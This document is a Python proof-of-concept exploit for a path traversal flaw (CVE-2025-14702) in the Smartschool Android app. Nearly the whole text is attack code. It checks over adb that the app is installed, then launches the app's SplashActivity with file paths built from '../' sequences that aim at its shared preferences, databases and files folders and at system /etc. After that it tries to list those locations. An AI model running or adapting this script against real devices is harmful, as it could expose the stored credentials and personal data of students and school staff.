CVE-2025-14702 Smartschool App路径遍历漏洞

# CVE-2025-14702 PoC - Path Traversal in Smartschool App # Target: Smartbit CommV Smartschool App <= 10.4.4 # Component: be.smartschool.mobile.SplashActivity import os import subprocess def check_vulnerable(): """ Check if Smartschool App is installed and potentially vulnerable """ package_name = "be.smartschool.mobile" # Check if app is installed result = subprocess.run( ["adb", "shell", "pm", "list", "packages", package_name], capture_output=True, text=True ) if package_name in result.stdout: print(f"[+] {package_name} is installed") return True else: print(f"[-] {package_name} is not installed") return False def exploit_path_traversal(): """ Exploit path traversal via Intent with malicious path """ # Malicious path using path traversal sequences malicious_paths = [ "../../data/data/be.smartschool.mobile/shared_prefs/", "../../data/data/be.smartschool.mobile/databases/", "../../data/data/be.smartschool.mobile/files/", "../../sdcard/Android/data/be.smartschool.mobile/", "../../../etc/", "../../../../system/etc/" ] for path in malicious_paths: print(f"[*] Attempting path: {path}") # Construct intent to trigger SplashActivity with malicious path intent_cmd = ( f"am start -n be.smartschool.mobile/.SplashActivity " f"-d file://{path}" ) subprocess.run(["adb", "shell", intent_cmd], capture_output=True) def verify_exposed_files(): """ Verify if sensitive files are accessible """ sensitive_locations = [ "/data/data/be.smartschool.mobile/shared_prefs/", "/data/data/be.smartschool.mobile/databases/", "/storage/emulated/0/Android/data/be.smartschool.mobile/" ] for location in sensitive_locations: result = subprocess.run( ["adb", "shell", "run-as", "be.smartschool.mobile", "ls", "-la", location], capture_output=True, text=True ) if result.returncode == 0: print(f"[+] Accessible: {location}") print(result.stdout) else: print(f"[-] Not accessible or not found: {location}") if __name__ == "__main__": print("CVE-2025-14702 Path Traversal PoC") print("=" * 50) if check_vulnerable(): print("\n[*] Testing path traversal vulnerability...") exploit_path_traversal() print("\n[*] Verifying exposed files...") verify_exposed_files()